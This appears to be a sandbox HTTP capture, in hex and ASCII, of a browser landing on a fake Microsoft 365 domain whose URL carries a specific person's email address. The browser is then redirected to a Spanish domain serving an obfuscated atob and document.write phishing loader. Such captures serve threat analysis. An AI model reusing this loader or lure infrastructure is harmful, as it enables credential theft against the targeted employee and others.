2025-03-18 12:33:25 UTC	587	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJOhywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCIrgzgEIruTOAQiE5c4BCIvlzgE= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:33:26 UTC	1303	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:33:26 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-VrBTZvbS9qkIU5_f3fVuQA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Downlink Accept-CH: RTT Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-03-18 12:33:26 UTC	87	IN	Data Raw: 64 35 34 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6c 69 70 20 62 75 20 74 61 6e 20 69 6e 74 65 6c 20 63 65 6f 22 2c 22 62 61 6c 74 69 6d 6f 72 65 20 72 61 76 65 6e 73 22 2c 22 74 65 6d 70 74 61 74 69 6f 6e 20 69 73 6c 61 6e 64 20 6e 65 74 66 6c 69 78 20 73 74 69 Data Ascii: d54)]}'["",["lip bu tan intel ceo","baltimore ravens","temptation island netflix sti
2025-03-18 12:33:26 UTC	1390	IN	Data Raw: 6c 6c 20 74 6f 67 65 74 68 65 72 22 2c 22 66 72 65 65 20 73 74 65 61 6d 20 67 61 6d 65 73 22 2c 22 6e 61 74 69 6f 6e 61 6c 20 68 75 72 72 69 63 61 6e 65 20 63 65 6e 74 65 72 22 2c 22 70 61 72 74 69 61 6c 20 73 6f 6c 61 72 20 65 63 6c 69 70 73 65 20 6d 61 72 63 68 20 32 39 22 2c 22 63 6f 66 66 65 65 20 63 72 65 61 6d 65 72 20 72 65 63 61 6c 6c 65 64 22 2c 22 63 69 6e 63 69 6e 6e 61 74 69 20 62 65 6e 67 61 6c 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 6f 49 6b 6b 34 53 46 51 6f 52 56 48 4a 6c 62 Data Ascii: ll together","free steam games","national hurricane center","partial solar eclipse march 29","coffee creamer recalled","cincinnati bengals"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChoIkk4SFQoRVHJlb
2025-03-18 12:33:26 UTC	1390	IN	Data Raw: 57 55 34 63 55 4e 76 65 45 35 4f 4d 44 4e 49 62 45 78 73 61 6e 4a 35 65 55 39 79 62 56 46 50 57 54 52 59 56 30 64 72 4e 55 4e 33 61 47 68 57 54 45 78 6c 4d 47 4d 34 54 47 31 47 55 56 42 70 55 55 4e 78 59 58 64 6e 57 6b 64 4c 5a 44 55 31 52 6c 46 50 61 43 39 61 53 6e 68 6c 4e 45 4a 4a 52 54 56 6e 65 6b 31 74 59 57 4a 57 54 69 39 55 53 43 74 52 53 33 70 45 57 6b 70 4a 52 6d 64 47 4d 6c 4e 57 54 6a 52 70 57 47 67 7a 53 32 46 54 55 6e 4a 6c 65 47 78 74 63 32 64 7a 63 6c 70 43 54 32 67 7a 51 58 64 6c 52 7a 5a 6e 62 48 52 75 52 6b 31 32 4f 54 4e 48 52 58 6c 33 65 69 74 6c 62 46 46 77 57 6a 4e 4d 55 7a 52 4e 65 6b 35 56 56 31 4e 77 53 31 46 4e 4e 33 6f 35 4f 45 78 42 62 30 70 30 54 6a 55 35 4b 32 31 52 59 55 51 77 5a 48 46 70 5a 6c 5a 48 55 55 6c 74 61 58 46 4c Data Ascii: WU4cUNveE5OMDNIbExsanJ5eU9ybVFPWTRYV0drNUN3aGhWTExlMGM4TG1GUVBpUUNxYXdnWkdLZDU1RlFPaC9aSnhlNEJJRTVnek1tYWJWTi9USCtRS3pEWkpJRmdGMlNWTjRpWGgzS2FTUnJleGxtc2dzclpCT2gzQXdlRzZnbHRuRk12OTNHRXl3eitlbFFwWjNMUzRNek5VV1NwS1FNN3o5OExBb0p0TjU5K21RYUQwZHFpZlZHUUltaXFL
2025-03-18 12:33:26 UTC	552	IN	Data Raw: 63 47 35 6e 4f 32 4a 68 63 32 55 32 4e 43 78 70 56 6b 4a 50 55 6e 63 77 53 30 64 6e 62 30 46 42 51 55 46 4f 55 31 56 6f 52 56 56 6e 51 55 46 42 52 55 46 42 51 55 46 42 64 45 4e 42 54 55 46 42 51 55 46 77 4d 31 6f 78 62 30 46 42 51 55 45 30 56 6b 4a 4e 56 6b 56 59 4c 79 38 76 4c 7a 64 55 65 46 46 42 51 55 46 45 4c 31 56 6f 57 44 64 51 5a 30 51 33 56 45 46 36 4e 31 6c 36 63 57 64 75 53 6e 4e 79 53 33 6c 32 4e 31 4a 6e 52 44 64 52 5a 30 51 33 55 31 46 45 4e 30 39 52 52 46 63 78 64 46 6c 76 53 30 4e 71 4f 58 68 4d 63 54 52 50 5a 7a 6c 7a 59 6b 64 35 57 55 31 42 65 6a 6c 76 63 45 52 6d 55 6d 68 4d 55 46 46 53 53 47 35 54 55 6b 74 4c 54 45 46 30 51 30 5a 52 56 57 68 44 64 30 35 4e 52 30 46 69 4f 47 4e 46 4e 6b 5a 4c 5a 33 56 34 54 30 45 33 64 46 4e 34 54 32 74 Data Ascii: cG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBRUFBQUFBdENBTUFBQUFwM1oxb0FBQUE0VkJNVkVYLy8vLzdUeFFBQUFEL1VoWDdQZ0Q3VEF6N1l6cWduSnNyS3l2N1JnRDdRZ0Q3U1FEN09RRFcxdFlvS0NqOXhMcTRPZzlzYkd5WU1BejlvcERmUmhMUFFSSG5TUktLTEF0Q0ZRVWhDd05NR0FiOGNFNkZLZ3V4T0E3dFN4T2t
2025-03-18 12:33:26 UTC	91	IN	Data Raw: 35 35 0d 0a 4e 58 63 6c 64 42 56 32 74 79 57 58 42 5a 4c 79 38 34 55 45 31 77 64 47 74 72 63 47 78 7a 4d 58 45 34 4e 6c 67 7a 61 56 6c 61 54 6a 64 4e 52 46 6f 33 4d 30 67 34 62 6a 46 70 4e 48 56 4d 61 54 56 31 57 45 6f 78 63 47 55 7a 57 6e 64 61 61 32 46 79 51 6d 39 0d 0a Data Ascii: 55NXcldBV2tyWXBZLy84UE1wdGtrcGxzMXE4NlgzaVlaTjdNRFo3M0g4bjFpNHVMaTV1WEoxcGUzWndaa2FyQm9
2025-03-18 12:33:26 UTC	1390	IN	Data Raw: 36 37 33 0d 0a 74 5a 33 4d 32 64 30 4e 32 5a 7a 46 4d 5a 56 4a 47 62 30 4e 4b 53 30 4a 50 4e 48 6c 53 59 6e 5a 59 57 47 46 6d 4e 55 55 7a 55 6a 5a 46 64 6b 70 69 65 6b 56 6e 52 58 52 52 4f 44 52 4f 54 30 56 4d 5a 31 45 32 62 56 70 4d 51 54 4e 4b 61 79 39 33 4e 31 70 44 4c 30 51 33 61 58 59 77 53 47 52 69 56 57 52 76 62 32 55 77 54 6b 4a 48 5a 30 74 36 55 57 5a 4d 5a 6e 52 69 64 55 64 76 64 58 4a 77 4d 46 4a 68 54 57 4d 72 56 57 4e 42 5a 46 68 45 56 54 4e 72 5a 6a 46 75 4e 55 6c 43 56 32 35 74 55 44 64 6a 4f 47 52 57 51 6b 4a 6e 59 54 64 46 4e 48 4a 70 55 58 52 75 62 30 6f 77 4e 57 6b 35 51 6e 6b 72 62 46 56 30 53 56 70 6c 64 55 4a 79 56 46 45 78 56 57 70 69 61 6a 56 45 4d 6b 5a 77 56 30 46 70 4f 48 68 44 4d 7a 5a 79 61 58 4d 78 53 54 49 79 4d 48 64 6f 64 Data Ascii: 673tZ3M2d0N2ZzFMZVJGb0NKS0JPNHlSYnZYWGFmNUUzUjZFdkpiekVnRXRRODROT0VMZ1E2bVpMQTNKay93N1pDL0Q3aXYwSGRiVWRvb2UwTkJHZ0t6UWZMZnRidUdvdXJwMFJhTWMrVWNBZFhEVTNrZjFuNUlCV25tUDdjOGRWQkJnYTdFNHJpUXRub0owNWk5QnkrbFV0SVpldUJyVFExVWpiajVEMkZwV0FpOHhDMzZyaXMxSTIyMHdod
2025-03-18 12:33:26 UTC	268	IN	Data Raw: 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 73 22 3a 5b 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 74 79 70 65 22 3a 5b 22 51 55 45 52 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c Data Ascii: 1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308]],"google:suggesttype":["QUERY","ENTITY","QUERY","QUERY","QUERY","QUERY","QUERY",
2025-03-18 12:33:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:33:26 UTC	682	OUT	GET /favicon.ico HTTP/1.1 Host: microsoft365online.mdshohelrana.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://microsoft365online.mdshohelrana.com/access/authorize/vFoOn1l/mdiaz@estrellagalicia.es Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:33:26 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Tue, 18 Mar 2025 12:33:26 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2025-03-18 12:33:26 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2025-03-18 12:33:26 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:33:28 UTC	746	OUT	GET /rIMOdeCtriNV/mdiaz%40estrellagalicia.es HTTP/1.1 Host: ajd.asfhkkiv.es Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://microsoft365online.mdshohelrana.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:33:29 UTC	1210	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:33:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q06iIJguKz67gtxYTg9%2FARMYS8Qek6M4mPT4w48DJM1BdSHtTzUF6pIXAjgKmJqg4i%2FjrQOrtDNewwtySvRdmZAAmZRGu3fZrfQDBPhuE8%2B0aTvwYBIJPabBp03vthIR2tnC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=984&min_rtt=983&rtt_var=372&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2821&recv_bytes=1640&delivery_rate=2853707&cwnd=251&unsent_bytes=0&cid=1d0d0483a1b9d925&ts=256&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjlwOEFtTTJkYkJ0UXg3WkZaeTJ5eHc9PSIsInZhbHVlIjoiZ3FuQi9PRVdZS3FRekYraU5TM0NDSkxYUHkyYm1vUEtlNmtsbHpnT0dyL1Z2QnlzaU9ja1c3OC9xYlYxN0Y1Z1lraWpCdjh3cVhlblVRMis5aktDdExTeERDa3hIUmt6UTg5ZCtJMlV2M2Z5bktVdXl0eHI3MHVTSGNSdGFnUmIiLCJtYWMiOiI5NjE2YTg2YzJmN2JjZTYzZGU3OGMzNjc0MDQyNTQyZTQ5MzIwYTFhYmVjNGI0MDEwYmRjOTYyODAwY2NiMDMzIiwidGFnIjoiIn0%3D; expires=Tue, 18-Mar-2025 14:33:28 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-18 12:33:29 UTC	762	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 4e 59 52 44 42 32 52 31 46 6e 57 6b 4e 45 53 46 56 61 53 57 46 70 51 56 70 35 59 6b 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 64 6b 4e 6f 53 33 5a 4a 51 6c 70 4a 52 57 4e 6b 4d 32 52 44 5a 44 4e 6d 4d 55 4a 51 61 55 68 33 64 47 74 4a 55 45 56 6d 51 7a 64 54 4f 45 52 5a 52 31 64 75 54 6e 4e 31 57 6e 64 59 4f 56 4e 73 56 6d 31 70 53 7a 42 6c 59 33 4e 6a 4e 6b 70 70 61 6b 6c 4b 61 6c 52 5a 57 6c 70 59 53 6d 6c 33 4d 47 39 6a 65 44 41 77 59 58 56 71 62 6c 6b 34 62 46 6f 33 4e 57 35 35 57 56 49 35 53 57 31 72 5a 48 46 58 65 6d 70 33 57 6e 6f 35 59 30 74 61 57 55 4e 4a 4e 6a 68 79 61 30 74 6c 57 6d 6f 35 57 69 74 44 57 46 4e 61 53 58 6b Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjNYRDB2R1FnWkNESFVaSWFpQVp5YkE9PSIsInZhbHVlIjoidkNoS3ZJQlpJRWNkM2RDZDNmMUJQaUh3dGtJUEVmQzdTOERZR1duTnN1WndYOVNsVm1pSzBlY3NjNkppaklKalRZWlpYSml3MG9jeDAwYXVqblk4bFo3NW55WVI5SW1rZHFXemp3Wno5Y0taWUNJNjhya0tlWmo5WitDWFNaSXk
2025-03-18 12:33:29 UTC	1369	IN	Data Raw: 35 32 64 31 0d 0a 3c 73 63 72 69 70 74 3e 0a 50 48 56 66 63 54 4d 49 55 4d 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 68 53 6d 51 75 59 58 4e 6d 61 47 74 72 61 58 59 75 5a 58 4d 76 63 6b 6c 4e 54 32 52 6c 51 33 52 79 61 55 35 57 4c 77 3d 3d 22 29 3b 0a 6c 48 6d 77 53 4e 4e 49 41 52 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 61 77 68 65 50 72 78 48 75 50 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 50 48 56 66 63 54 4d 49 55 4d 20 3d 3d 20 6c 48 6d 77 53 4e 4e 49 41 52 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 61 77 68 65 50 72 78 48 75 50 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 Data Ascii: 52d1<script>PHVfcTMIUM = atob("aHR0cHM6Ly9hSmQuYXNmaGtraXYuZXMvcklNT2RlQ3RyaU5WLw==");lHmwSNNIAR = atob("bm9tYXRjaA==");awhePrxHuP = atob("d3JpdGU=");if(PHVfcTMIUM == lHmwSNNIAR){document[awhePrxHuP](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0
2025-03-18 12:33:29 UTC	1369	IN	Data Raw: 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 Data Ascii: Wk44Wk44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk7
2025-03-18 12:33:29 UTC	1369	IN	Data Raw: 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 Data Ascii: k44Wk44Wk44Wk776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44
2025-03-18 12:33:29 UTC	1369	IN	Data Raw: 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 Data Ascii: 44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776
2025-03-18 12:33:29 UTC	1369	IN	Data Raw: 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b Data Ascii: 4Wk776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk44Wk776g44Wk
2025-03-18 12:33:29 UTC	1369	IN	Data Raw: 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 Data Ascii: 6g44Wk776g776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g4
